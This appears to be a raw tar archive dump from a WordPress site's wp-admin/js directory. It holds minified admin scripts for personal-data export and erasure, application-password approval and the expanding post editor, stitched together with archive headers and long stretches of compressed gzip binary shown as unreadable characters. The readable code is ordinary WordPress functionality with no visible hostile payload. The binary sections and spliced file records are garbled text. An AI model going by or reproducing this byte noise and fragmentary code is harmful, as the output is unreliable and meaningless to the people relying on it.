jQuery(function(v){var r,h=wp.i18n.__;function w(e,t){e.children().addClass("hidden"),e.children("."+t).removeClass("hidden")}function x(e){e.removeClass("has-request-results"),e.next().hasClass("request-results")&&e.next().remove()}function T(e,t,a,o){var s="",n="request-results";x(e),o.length&&(v.each(o,function(e,t){s=s+"<li>"+t+"</li>"}),s="<ul>"+s+"</ul>"),e.addClass("has-request-results"),e.hasClass("status-request-confirmed")&&(n+=" status-request-confirmed"),e.hasClass("status-request-failed")&&(n+=" status-request-failed"),e.after(function(){return'<tr class="'+n+'"><th colspan="5"><div class="notice inline notice-alt '+t+'"><p>'+a+"</p>"+s+"</div></td></tr>"})}v(".export-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".export-personal-data"),r=t.parents("tr"),a=r.find(".export-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("exporters-count"),u=!!n.data("send-as-email");function p(e){var t=h("An error occurred while attempting to export personal data.");w(n,"export-personal-data-failed"),e&&T(r,"notice-error",t,[e]),setTimeout(function(){i.removeClass("processing")},500)}function m(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),m(0),w(n,"export-personal-data-processing"),function t(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-export-personal-data",exporter:o,id:c,page:s,security:d,sendAsEmail:u},method:"post"}).done(function(e){var a=e.data;e.success?a.done?(m(o),o<l?setTimeout(t(o+1,1)):setTimeout(function(){var e,t;e=a.url,t=h("This user&#8217;s personal data export link was sent."),void 0!==e&&(t=h("This user&#8217;s personal data export file was downloaded.")),w(n,"export-personal-data-success"),T(r,"notice-success",t,[]),void 0!==e?window.location=e:u||p(h("No personal data export file was generated.")),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(t(o,s+1)):setTimeout(function(){p(e.data)},500)}).fail(function(e,t,a){setTimeout(function(){p(a)},500)})}(1,1)}),v(".remove-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".remove-personal-data"),r=t.parents("tr"),a=r.find(".erasure-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("erasers-count"),u=!1,p=!1,m=[];function f(){var e=h("An error occurred while attempting to find and erase personal data.");w(n,"remove-personal-data-failed"),T(r,"notice-error",e,[]),setTimeout(function(){i.removeClass("processing")},500)}function g(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),g(0),w(n,"remove-personal-data-processing"),function a(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-erase-personal-data",eraser:o,id:c,page:s,security:d},method:"post"}).done(function(e){var t=e.data;e.success?(t.items_removed&&(u=u||t.items_removed),t.items_retained&&(p=p||t.items_retained),t.messages&&(m=m.concat(t.messages)),t.done?(g(o),o<l?setTimeout(a(o+1,1)):setTimeout(function(){var e,t;e=h("No personal data was found for this user."),t="notice-success",w(n,"remove-personal-data-success"),!1===u?!1===p?e=h("No personal data was found for this user."):(e=h("Personal data was found for this user but was not erased."),t="notice-warning"):!1===p?e=h("All of the personal data found for this user was erased."):(e=h("Personal data was found for this user but some of the personal data found was not erased."),t="notice-warning"),T(r,t,e,m),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(a(o,s+1))):setTimeout(function(){f()},500)}).fail(function(){setTimeout(function(){f()},500)})}(1,1)}),v(document).on("click",function(e){var t,a,e=v(e.target),o=e.siblings(".success");if(clearTimeout(r),e.is("button.privacy-text-copy")&&(t=e.closest(".privacy-settings-accordion-panel")).length)try{var s=document.documentElement.scrollTop,n=document.body.scrollTop;window.getSelection().removeAllRanges(),a=document.createRange(),t.addClass("hide-privacy-policy-tutorial"),a.selectNodeContents(t[0]),window.getSelection().addRange(a),document.execCommand("copy"),t.removeClass("hide-privacy-policy-tutorial"),window.getSelection().removeAllRanges(),0<s&&s!==document.documentElement.scrollTop?document.documentElement.scrollTop=s:0<n&&n!==document.body.scrollTop&&(document.body.scrollTop=n),o.addClass("visible"),wp.a11y.speak(h("The suggested policy text has been copied to your clipboard.")),r=setTimeout(function(){o.removeClass("visible")},3e3)}catch(e){}}),v("body.options-privacy-php label[for=create-page]").on("click",function(e){e.preventDefault(),v("input#create-page").trigger("focus")}),v(".privacy-settings-accordion").on("click",".privacy-settings-accordion-trigger",function(){"true"===v(this).attr("aria-expanded")?(v(this).attr("aria-expanded","false"),v("#"+v(this).attr("aria-controls")).attr("hidden",!0)):(v(this).attr("aria-expanded","true"),v("#"+v(this).attr("aria-controls")).attr("hidden",!1))})});auth-app.min.js000064400000004044150276633110007411 0ustar00/*! This file is auto-generated */
!function(t,s){var p=t("#app_name"),r=t("#approve"),e=t("#reject"),n=p.closest("form"),i={userLogin:s.user_login,successUrl:s.success,rejectUrl:s.reject};r.on("click",function(e){var a=p.val(),o=t('input[name="app_id"]',n).val();e.preventDefault(),r.prop("aria-disabled")||(0===a.length?p.trigger("focus"):(r.prop("aria-disabled",!0).addClass("disabled"),e={name:a},0<o.length&&(e.app_id=o),e=wp.hooks.applyFilters("wp_application_passwords_approve_app_request",e,i),wp.apiRequest({path:"/wp/v2/users/me/application-passwords?_locale=user",method:"POST",data:e}).done(function(e,a,o){wp.hooks.doAction("wp_application_passwords_approve_app_request_success",e,a,o);var a=s.success;a?(o=a+(-1===a.indexOf("?")?"?":"&")+"site_url="+encodeURIComponent(s.site_url)+"&user_login="+encodeURIComponent(s.user_login)+"&password="+encodeURIComponent(e.password),window.location=o):(a=wp.i18n.sprintf('<label for="new-application-password-value">'+wp.i18n.__("Your new password for %s is:")+"</label>","<strong></strong>")+' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />',o=t("<div></div>").attr("role","alert").attr("tabindex",-1).addClass("notice notice-success notice-alt").append(t("<p></p>").addClass("application-password-display").html(a)).append("<p>"+wp.i18n.__("Be sure to save this in a safe location. You will not be able to retrieve it.")+"</p>"),t("strong",o).text(e.name),t("input",o).val(e.password),n.replaceWith(o),o.trigger("focus"))}).fail(function(e,a,o){var s=o,p=null,s=(e.responseJSON&&(p=e.responseJSON).message&&(s=p.message),t("<div></div>").attr("role","alert").addClass("notice notice-error").append(t("<p></p>").text(s)));t("h1").after(s),r.removeProp("aria-disabled",!1).removeClass("disabled"),wp.hooks.doAction("wp_application_passwords_approve_app_request_error",p,a,o,e)})))}),e.on("click",function(e){e.preventDefault(),wp.hooks.doAction("wp_application_passwords_reject_app",i),window.location=s.reject}),n.on("submit",function(e){e.preventDefault()})}(jQuery,authApp);comment.min.js.min.js.tar.gz000064400000001343150276633110011734 0ustar00��TMo�0�y��U�Fjd���;��Cö�0�b3�2Y6,����n�4A2���CxI��H>Ѥ�I-#�rL+�:im�A$�$n-S_F�2��m��q]��GO�6�y��G���Π�=�w{��;�n�k�B�߶/�aɿQ�?��ٱ�~��7U<���K�Ȥ��;k=[��!�J��	�J��m�X7In�
E���d6�`)�&��Q!3/
bJN���ي�H��dDD���XSƋ Se"JĚ�/3Y�B<�j���a%) R���3
j$�V��ע��FBa�p��a��3i�U�Ĉ��n#�ݢ@e��qς���2�(.S�d���%��:l$X(cD�A�}����5F!i}�P������'�=5y��CZ�/5��8�\�Դtn;^c쁳X�r�Xőr���*�|��Yc'6{�GN����:feO�W9s2غ�.�j
�*���6غ�:�Rϸ	,�+�*��;\q�5���F��ε�2��8��U�y�^'��KȭV��}B�U�_+�;\#��ˢܰW���g���QaCZ�⤀���ۺL��<7b<��]>��+�:1Cš�{1�$�MJ�S�^�[�ܫ��t^�_�����S-Cx����$-��	���F�5�s�W����F�I�
N�f�n�"���7�Q�;��^y,7�~�P�n�&��>�~w+h�Hћ�&yњ\z���u��c��D�`;��o��Oprivacy-tools.js.js.tar.gz000064400000005462150276633110011547 0ustar00��Z[s��W�W�A6H#���Xl\6�P�K9��<P.�=ӒFӳ�=����{����ƒ٤�X};����)��ANU�r�b���R��%Q�g��O�Y�>�A!�+���LF�w�~��9��o���=;�n��p�`��g�0�7��; Í)|�����������'[�	y�+&h�R�KRJ���9QSF~�L�3cy�-OҜ����|EF������(Y�/�n��5����#�.��<��|m}�{��|���\Om�Gd��k�sE��N��G>�:��)K�p���]:c�̋����N$S��sE������ݱ�Q<M�D�|{'�Ir�A8l��4M�w�΋���u�Sw\$،_������8cT�e�̔<���k`Ϊ�8Ϊ���T��$���t`S:&�����(�	����;-�N�>Cx[˿hB����*Iz ,et^�fT���#��O����4v����|dD�]4u�0G��q�)�V�ڭ��D��|��^#��ma/p�4O�M�\Ѭtn*��OI�(K_�Ә�80��og������^^;b���"
?	]�Nx:sY�y>NŌ%����bi�$��Y�#c�f���=�]{�/A��T)rлƟG�$m��<�!�4=x���ݡ{��Wn{�s�
$>F̷>��s��j{���F�
����iD�3*�}֍\�z�)��\�~��D��'TѾ�����w�,�?u�`W,WA?R�T�8[��x��4��ɨ��W�������s�n%��B�	�,O(0�"7�e�Vd������L‚���n�=���'h�
��4q;r��3������n�a�r��\-/��o��m�����x+
��C�`���'�$�C2��d:mhG����1�7���Hŋ3�:�&|^��J��:UC�wY�q�D:�`v/�R�ڻQZG1�+��3k�m2����s���켌c��i��\nAnD�:`��0tJ����vx!�sP��$F����zP����n	�<���Q��q����C���~�g�&��[E��׹�7궆�4z�lR��6����=����P�5�,�n�c�e���Gx+��}OB�w۝��
��w��^��5���:ee��Ԥm>땃��_���O=�|8$;�&-��g�	����z��
��q)ܑ�)
DԉB}�흨5�+�����2ص��;y�>���G_|5����w_c/��^�4�Z��_B���q�����N�w�9dJ0�B�JQ��̓{Bv��Hq�d�n�O�K��b4U���f�l�9�o���|V��QD?қmͯ1x��!�ы�����A�9�~����.�J&[��ۗ��Wv:M�/�n>��vÒA��j~Htѭ�}"9���^�e3���u.UW�-�ߝ(�R�Z�t�WE:�<�3�_u�6F�ؼ�lj��tf�hAg	�"M<�~}mYIn���TS�����b����h�+�B�:�S��3����ik���j�Pm�`��M�D�z!s
���ցԴVb�[R����N��6t����LE�(�\c���N2�ot�96�6~��[�#�-��T���x�TW�K6I�h�ε��"B���(��.6��|~��e5ti-L�#�́�-�EP��]\>����A-�����b��eJ�[��Ĝ��H5�(v�����K�<���_B.ƚ���Yf��m�Rs�
���W�FL9�w�꒭�įk
[��t:�F##��C�˳���U-�ba[kJ�g�I.�*�@gD�t���tzME�^�jh���W�q�@Nx�_WF��q��Չ�3���/�٦��ֻh�5*��t&�]E�'�%�@�3J�;�k
����v�5�ܖMM�����ʢ�`��̌�59of&�o�d5D�
ȐH;3�k|�6����3�n�Q��+�U�r#�� &O���
�� �0�j���WlߌR���e�^tn#f�WS�R���GF>�F1��[�.��+�\"k��ʄRC���Q=Y�D�-�}�l��)�e�g{���ֲ�܁7؀���3�o�m
/�B�d��r����Pр*��h>10䑢b”��b�S(—���H���B#�FϬQ��A�ˇ�O���O�L�|�Y詏����!N�C����l����s��6��YV���Q���;J̝Ǣ֜�ϸL�%����2���X�,{�wwɓ��hJ�ߌs�����{mp{f�{�2f=ڶ�>�E[J�KFT��H���T�Pg�z�Md,��Z��ZZ�1B6c���5�m�Ns��'�W�B{n�1�ծy;�y��I-���Ñ�&z?��I�]��a��j/�a�	��N�FX�
��N\^��/'��c�Ւ~��ޚ��G��yM�b����� q/�%6�/���S�=6�,-��g|�a�-w��g�phc��bT;̗���T�k�!F?��`�4ƗP�~,��a���ɯRL{,�r��]�
��v�{2@0���2�o:�A�:�ry�Ȝ��P#-.9��J�X��T�R�/�.]f����fM��c/I��ٰ��*���i@�xD�����e���F{`?��I%����(�r璶�75��M������$C2���̡}�t����zk�ZCZi^��ap�V]�i1�9�=v���8�	�����9�n�NZ�V�%QVV7�f(q�BM�����&Y�ۖ ^���:
	�S�K���Q�sp��ū��F�9J����:�m���2�g^x�-h*�s`����\����_�~�|�|�|���~�
��&2editor-expand.min.js.tar000064400000036000150276633110011217 0ustar00home/natitnen/crestassured.com/wp-admin/js/editor-expand.min.js000064400000032213150264746670020635 0ustar00/*! This file is auto-generated */
!function(F,I){"use strict";var L=I(F),M=I(document),V=I("#wpadminbar"),N=I("#wpfooter");I(function(){var g,e,u=I("#postdivrich"),h=I("#wp-content-wrap"),m=I("#wp-content-editor-tools"),w=I(),H=I(),b=I("#ed_toolbar"),v=I("#content"),i=v[0],o=0,x=I("#post-status-info"),y=I(),T=I(),B=I("#side-sortables"),C=I("#postbox-container-1"),S=I("#post-body"),O=F.wp.editor&&F.wp.editor.fullscreen,r=function(){},l=function(){},z=!1,E=!1,k=!1,A=!1,W=0,K=56,R=20,Y=300,f=h.hasClass("tmce-active")?"tinymce":"html",U=!!parseInt(F.getUserSetting("hidetb"),10),D={windowHeight:0,windowWidth:0,adminBarHeight:0,toolsHeight:0,menuBarHeight:0,visualTopHeight:0,textTopHeight:0,bottomHeight:0,statusBarHeight:0,sideSortablesHeight:0},a=F._.throttle(function(){var t=F.scrollX||document.documentElement.scrollLeft,e=F.scrollY||document.documentElement.scrollTop,o=parseInt(i.style.height,10);i.style.height=Y+"px",i.scrollHeight>Y&&(i.style.height=i.scrollHeight+"px"),void 0!==t&&F.scrollTo(t,e),i.scrollHeight<o&&p()},300);function P(){var t=i.value.length;g&&!g.isHidden()||!g&&"tinymce"===f||(t<o?a():parseInt(i.style.height,10)<i.scrollHeight&&(i.style.height=Math.ceil(i.scrollHeight)+"px",p()),o=t)}function p(t){var e,o,i,n,s,f,a,d,c,u,r,l,p;O&&O.settings.visible||(e=L.scrollTop(),o="scroll"!==(u=t&&t.type),i=g&&!g.isHidden(),n=Y,s=S.offset().top,f=h.width(),!o&&D.windowHeight||(p=L.width(),(D={windowHeight:L.height(),windowWidth:p,adminBarHeight:600<p?V.outerHeight():0,toolsHeight:m.outerHeight()||0,menuBarHeight:y.outerHeight()||0,visualTopHeight:w.outerHeight()||0,textTopHeight:b.outerHeight()||0,bottomHeight:x.outerHeight()||0,statusBarHeight:T.outerHeight()||0,sideSortablesHeight:B.height()||0}).menuBarHeight<3&&(D.menuBarHeight=0)),i||"resize"!==u||P(),p=i?(a=w,l=H,D.visualTopHeight):(a=b,l=v,D.textTopHeight),(i||a.length)&&(u=a.parent().offset().top,r=l.offset().top,l=l.outerHeight(),(i?Y+p:Y+20)+5<l?((!z||o)&&e>=u-D.toolsHeight-D.adminBarHeight&&e<=u-D.toolsHeight-D.adminBarHeight+l-n?(z=!0,m.css({position:"fixed",top:D.adminBarHeight,width:f}),i&&y.length&&y.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),a.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):(z||o)&&(e<=u-D.toolsHeight-D.adminBarHeight?(z=!1,m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):e>=u-D.toolsHeight-D.adminBarHeight+l-n&&(z=!1,m.css({position:"absolute",top:l-n,width:f}),i&&y.length&&y.css({position:"absolute",top:l-n,width:f-2}),a.css({position:"absolute",top:l-n+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}))),(!E||o&&U)&&e+D.windowHeight<=r+l+D.bottomHeight+D.statusBarHeight+1?t&&0<t.deltaHeight&&t.deltaHeight<100?F.scrollBy(0,t.deltaHeight):i&&U&&(E=!0,T.css({position:"fixed",bottom:D.bottomHeight,visibility:"",width:f-2}),x.css({position:"fixed",bottom:0,width:f})):(!U&&E||(E||o)&&e+D.windowHeight>r+l+D.bottomHeight+D.statusBarHeight-1)&&(E=!1,T.attr("style",U?"":"visibility: hidden;"),x.attr("style",""))):o&&(m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),T.attr("style",U?"":"visibility: hidden;"),x.attr("style","")),C.width()<300&&600<D.windowWidth&&M.height()>B.height()+s+120&&D.windowHeight<l?(D.sideSortablesHeight+K+R>D.windowHeight||k||A?e+K<=s?(B.attr("style",""),k=A=!1):W<e?k?(k=!1,d=B.offset().top-D.adminBarHeight,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!A&&D.sideSortablesHeight+B.offset().top+R<e+D.windowHeight&&(A=!0,B.css({position:"fixed",top:"auto",bottom:R})):e<W&&(A?(A=!1,d=B.offset().top-R,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!k&&B.offset().top>=e+K&&(k=!0,B.css({position:"fixed",top:K,bottom:""}))):(s-K<=e?B.css({position:"fixed",top:K}):B.attr("style",""),k=A=!1),W=e):(B.attr("style",""),k=A=!1),o)&&(h.css({paddingTop:D.toolsHeight}),i?H.css({paddingTop:D.visualTopHeight+D.menuBarHeight}):v.css({marginTop:D.textTopHeight})))}function n(){P(),p()}function X(t){for(var e=1;e<6;e++)setTimeout(t,500*e)}function t(){F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.addClass("wp-editor-expand"),L.on("scroll.editor-expand resize.editor-expand",function(t){p(t.type),clearTimeout(e),e=setTimeout(p,100)}),M.on("wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand",p).on("postbox-toggled.editor-expand postbox-moved.editor-expand",function(){!k&&!A&&F.pageYOffset>K&&(A=!0,F.scrollBy(0,-1),p(),F.scrollBy(0,1)),p()}).on("wp-window-resized.editor-expand",function(){g&&!g.isHidden()?g.execCommand("wpAutoResize"):P()}),v.on("focus.editor-expand input.editor-expand propertychange.editor-expand",P),r(),O&&O.pubsub.subscribe("hidden",n),g&&(g.settings.wp_autoresize_on=!0,g.execCommand("wpAutoResizeOn"),g.isHidden()||g.execCommand("wpAutoResize")),g&&!g.isHidden()||P(),p(),M.trigger("editor-expand-on")}function s(){var t=parseInt(F.getUserSetting("ed_size",300),10);t<50?t=50:5e3<t&&(t=5e3),F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.removeClass("wp-editor-expand"),L.off(".editor-expand"),M.off(".editor-expand"),v.off(".editor-expand"),l(),O&&O.pubsub.unsubscribe("hidden",n),I.each([w,b,m,y,x,T,h,H,v,B],function(t,e){e&&e.attr("style","")}),z=E=k=A=!1,g&&(g.settings.wp_autoresize_on=!1,g.execCommand("wpAutoResizeOff"),g.isHidden()||(v.hide(),t&&g.theme.resizeTo(null,t))),t&&v.height(t),M.trigger("editor-expand-off")}M.on("tinymce-editor-init.editor-expand",function(t,f){var a=F.tinymce.util.VK,e=_.debounce(function(){I(".mce-floatpanel:hover").length||F.tinymce.ui.FloatPanel.hideAll(),I(".mce-tooltip").hide()},1e3,!0);function o(t){t=t.keyCode;t<=47&&t!==a.SPACEBAR&&t!==a.ENTER&&t!==a.DELETE&&t!==a.BACKSPACE&&t!==a.UP&&t!==a.LEFT&&t!==a.DOWN&&t!==a.UP||91<=t&&t<=93||112<=t&&t<=123||144===t||145===t||i(t)}function i(t){var e,o,i,n,s=function(){var t,e,o=f.selection.getNode();if(f.wp&&f.wp.getView&&(t=f.wp.getView(o)))e=t.getBoundingClientRect();else{t=f.selection.getRng();try{e=t.getClientRects()[0]}catch(t){}e=e||o.getBoundingClientRect()}return!!e.height&&e}();s&&(o=(e=s.top+f.iframeElement.getBoundingClientRect().top)+s.height,e-=50,o+=50,i=D.adminBarHeight+D.toolsHeight+D.menuBarHeight+D.visualTopHeight,(n=D.windowHeight-(U?D.bottomHeight+D.statusBarHeight:0))-i<s.height||(e<i&&(t===a.UP||t===a.LEFT||t===a.BACKSPACE)?F.scrollTo(F.pageXOffset,e+F.pageYOffset-i):n<o&&F.scrollTo(F.pageXOffset,o+F.pageYOffset-n)))}function n(t){t.state||p()}function s(){L.on("scroll.mce-float-panels",e),setTimeout(function(){f.execCommand("wpAutoResize"),p()},300)}function d(){L.off("scroll.mce-float-panels"),setTimeout(function(){var t=h.offset().top;F.pageYOffset>t&&F.scrollTo(F.pageXOffset,t-D.adminBarHeight),P(),p()},100),p()}function c(){U=!U}"content"===f.id&&((g=f).settings.autoresize_min_height=Y,w=h.find(".mce-toolbar-grp"),H=h.find(".mce-edit-area"),T=h.find(".mce-statusbar"),y=h.find(".mce-menubar"),r=function(){f.on("keyup",o),f.on("show",s),f.on("hide",d),f.on("wp-toolbar-toggle",c),f.on("setcontent wp-autoresize wp-toolbar-toggle",p),f.on("undo redo",i),f.on("FullscreenStateChanged",n),L.off("scroll.mce-float-panels").on("scroll.mce-float-panels",e)},l=function(){f.off("keyup",o),f.off("show",s),f.off("hide",d),f.off("wp-toolbar-toggle",c),f.off("setcontent wp-autoresize wp-toolbar-toggle",p),f.off("undo redo",i),f.off("FullscreenStateChanged",n),L.off("scroll.mce-float-panels")},u.hasClass("wp-editor-expand"))&&(r(),X(p))}),u.hasClass("wp-editor-expand")&&(t(),h.hasClass("html-active"))&&X(function(){p(),P()}),I("#adv-settings .editor-expand").show(),I("#editor-expand-toggle").on("change.editor-expand",function(){I(this).prop("checked")?(t(),F.setUserSetting("editor_expand","on")):(s(),F.setUserSetting("editor_expand","off"))}),F.editorExpand={on:t,off:s}}),I(function(){var i,n,t,s,f,a,d,c,u,r,l,p=I(document.body),o=I("#wpcontent"),g=I("#post-body-content"),e=I("#title"),h=I("#content"),m=I(document.createElement("DIV")),w=I("#edit-slug-box"),H=w.find("a").add(w.find("button")).add(w.find("input")),Y=I("#adminmenuwrap"),b=(I(),I(),"on"===F.getUserSetting("editor_expand","on")),v=!!b&&"on"===F.getUserSetting("post_dfw"),x=0,y=0,T=20;function B(){(s=g.offset()).right=s.left+g.outerWidth(),s.bottom=s.top+g.outerHeight()}function C(){b||(b=!0,M.trigger("dfw-activate"),h.on("keydown.focus-shortcut",R))}function S(){b&&(z(),b=!1,M.trigger("dfw-deactivate"),h.off("keydown.focus-shortcut"))}function O(){!v&&b&&(v=!0,h.on("keydown.focus",_),e.add(h).on("blur.focus",A),_(),F.setUserSetting("post_dfw","on"),M.trigger("dfw-on"))}function z(){v&&(v=!1,e.add(h).off(".focus"),k(),g.off(".focus"),F.setUserSetting("post_dfw","off"),M.trigger("dfw-off"))}function E(){(v?z:O)()}function _(t){var e,o=t&&t.keyCode;F.navigator.platform&&(e=-1<F.navigator.platform.indexOf("Mac")),27===o||87===o&&t.altKey&&(!e&&t.shiftKey||e&&t.ctrlKey)?k(t):t&&(t.metaKey||t.ctrlKey&&!t.altKey||t.altKey&&t.shiftKey||o&&(o<=47&&8!==o&&13!==o&&32!==o&&46!==o||91<=o&&o<=93||112<=o&&o<=135||144<=o&&o<=150||224<=o))||(i||(i=!0,clearTimeout(r),r=setTimeout(function(){m.show()},600),g.css("z-index",9998),m.on("mouseenter.focus",function(){B(),L.on("scroll.focus",function(){var t=F.pageYOffset;c&&d&&c!==t&&(d<s.top-T||d>s.bottom+T)&&k(),c=t})}).on("mouseleave.focus",function(){f=a=null,x=y=0,L.off("scroll.focus")}).on("mousemove.focus",function(t){var e=t.clientX,t=t.clientY,o=F.pageYOffset,i=F.pageXOffset;if(f&&a&&(e!==f||t!==a))if(t<=a&&t<s.top-o||a<=t&&t>s.bottom-o||e<=f&&e<s.left-i||f<=e&&e>s.right-i){if(x+=Math.abs(f-e),y+=Math.abs(a-t),(t<=s.top-T-o||t>=s.bottom+T-o||e<=s.left-T-i||e>=s.right+T-i)&&(10<x||10<y))return k(),f=a=null,void(x=y=0)}else x=y=0;f=e,a=t}).on("touchstart.focus",function(t){t.preventDefault(),k()}),g.off("mouseenter.focus"),u&&(clearTimeout(u),u=null),p.addClass("focus-on").removeClass("focus-off")),!n&&i&&(n=!0,V.on("mouseenter.focus",function(){V.addClass("focus-off")}).on("mouseleave.focus",function(){V.removeClass("focus-off")})),W())}function k(t){i&&(i=!1,clearTimeout(r),r=setTimeout(function(){m.hide()},200),g.css("z-index",""),m.off("mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus"),void 0===t&&g.on("mouseenter.focus",function(){(I.contains(g.get(0),document.activeElement)||l)&&_()}),u=setTimeout(function(){u=null,g.off("mouseenter.focus")},1e3),p.addClass("focus-off").removeClass("focus-on")),n&&(n=!1,V.off(".focus")),K()}function A(){setTimeout(function(){var t=document.activeElement.compareDocumentPosition(g.get(0));function e(t){return I.contains(t.get(0),document.activeElement)}2!==t&&4!==t||!(e(Y)||e(o)||e(N))||k()},0)}function W(){t||!i||w.find(":focus").length||(t=!0,w.stop().fadeTo("fast",.3).on("mouseenter.focus",K).off("mouseleave.focus"),H.on("focus.focus",K).off("blur.focus"))}function K(){t&&(t=!1,w.stop().fadeTo("fast",1).on("mouseleave.focus",W).off("mouseenter.focus"),H.on("blur.focus",W).off("focus.focus"))}function R(t){t.altKey&&t.shiftKey&&87===t.keyCode&&E()}p.append(m),m.css({display:"none",position:"fixed",top:V.height(),right:0,bottom:0,left:0,"z-index":9997}),g.css({position:"relative"}),L.on("mousemove.focus",function(t){d=t.pageY}),I("#postdivrich").hasClass("wp-editor-expand")&&h.on("keydown.focus-shortcut",R),M.on("tinymce-editor-setup.focus",function(t,e){e.addButton("dfw",{active:v,classes:"wp-dfw btn widget",disabled:!b,onclick:E,onPostRender:function(){var t=this;e.on("init",function(){t.disabled()&&t.hide()}),M.on("dfw-activate.focus",function(){t.disabled(!1),t.show()}).on("dfw-deactivate.focus",function(){t.disabled(!0),t.hide()}).on("dfw-on.focus",function(){t.active(!0)}).on("dfw-off.focus",function(){t.active(!1)})},tooltip:"Distraction-free writing mode",shortcut:"Alt+Shift+W"}),e.addCommand("wpToggleDFW",E),e.addShortcut("access+w","","wpToggleDFW")}),M.on("tinymce-editor-init.focus",function(t,e){var o,i;function n(){l=!0}function s(){l=!1}"content"===e.id&&(I(e.getWin()),I(e.getContentAreaContainer()).find("iframe"),o=function(){e.on("keydown",_),e.on("blur",A),e.on("focus",n),e.on("blur",s),e.on("wp-autoresize",B)},i=function(){e.off("keydown",_),e.off("blur",A),e.off("focus",n),e.off("blur",s),e.off("wp-autoresize",B)},v&&o(),M.on("dfw-on.focus",o).on("dfw-off.focus",i),e.on("click",function(t){t.target===e.getDoc().documentElement&&e.focus()}))}),M.on("quicktags-init",function(t,e){var o;e.settings.buttons&&-1!==(","+e.settings.buttons+",").indexOf(",dfw,")&&(o=I("#"+e.name+"_dfw"),I(document).on("dfw-activate",function(){o.prop("disabled",!1)}).on("dfw-deactivate",function(){o.prop("disabled",!0)}).on("dfw-on",function(){o.addClass("active")}).on("dfw-off",function(){o.removeClass("active")}))}),M.on("editor-expand-on.focus",C).on("editor-expand-off.focus",S),v&&(h.on("keydown.focus",_),e.add(h).on("blur.focus",A)),F.wp=F.wp||{},F.wp.editor=F.wp.editor||{},F.wp.editor.dfw={activate:C,deactivate:S,isActive:function(){return b},on:O,off:z,toggle:E,isOn:function(){return v}}})}(window,window.jQuery);custom-header.js.js.tar.gz000064400000002017150276633110011465 0ustar00��V�n7���+ƨ�]�6Wv��a�E��M��vG�\�\)j��pH]��A�ṁ�9<s;���α62�`�ԍC����V4v^/�s�Ε��|��>��e�N<�_;F4^_]��<���W�/.^�.__^���/G�����ÿ��t���
���t���C��R�ɮ�S�j;��t�c�{���Z���!@�����NNQ�v�i^�Wb��j�s�Ȁ-\�1�G��Uy���5B�O���|��`a��e�>����CPf
� 4�!�w�̤i5��W��M))'�դ7�Gu<�O�b!9�s���
�˼Z�5�����\H��Xc������7�qU��]��/�9��u���=���Ko�[Q�@՜J�)������6�"-?��gQ��2lų�
8Ǎ��J��D�:��ʳd��>>��TP��l�����;��$S��$�5���19bPQP�~��$����Z���Z��t�2U�C@gQ��@M⳵�M?*�%̿p,�Rl��a蝁O��5�ձ�U�]��<Ft�#:��+��*Ik�|(�v�"�	�k��F�}�L�l"(���)շJU�=��p5��*��^S��*%�����Q	b��ʆ�o��D4���"���덧7\�Co�����x�$x‹$�_��v˙<�I�c@�_��6�b[���X�� ���rx6�@<�ֻmQ�~f�D{�B�t��
��9�zDY6)yj�݊��}?���}�$���O?�M&�;����J�ћS)SI����it�6�3H|]b�p�wj��E�'tK�؞�匚�=�a��ڤ��}�[o�ǝg�E�瀓��ʴTemI$��&����\��d���#�J�:��?�noá��6�J^��a8�'�_�����#�&h���)����R��r������{�����t;��$���5em�t1:ہإ�R�Ŷ�w|���P�L�ƻ�>�rQ��~����j|��tS����<���ǟe�nav-menu.js.js.tar.gz000064400000031353150276633110010460 0ustar00��}kw�Ƒh����%s�i$-{�P�=�k�Z�"ћ��blp�I��##����z��������NN���������b���N�\�ۓRWuRU�RO�I1۾����,ͷ����L����������/:���~����r��������+��vn�͇�[��K�������{��kQN_��W�	NwZ�%�D����������.O��V��F�.�	���
���{]V��x'ޱ���"9ӾzZ-N싰Wz[,�V=M�77�侀�8I2�����U}R\i�sRd�Y���:����jQ��s�@�[C������T�<}"q6�gE^'i^�$�T}���U]��$�fbl*�4#�T�.F���y2��I��ۛ���W�i>-.c��>��Q̹�=�������z�\���W��A���|�3R���y��V�J�iZ�I�]��'����WW
���W�AP0�Z'�a3}_$W�jO���>���NN2��V�XE�ս�^��:�a��2�'zO�ӛ"������T�����6�7��n�i��2�VK�nI~sp���4�*�X�������Q9������.N�/��h��W��������o�x�&�dIU��I9ZE
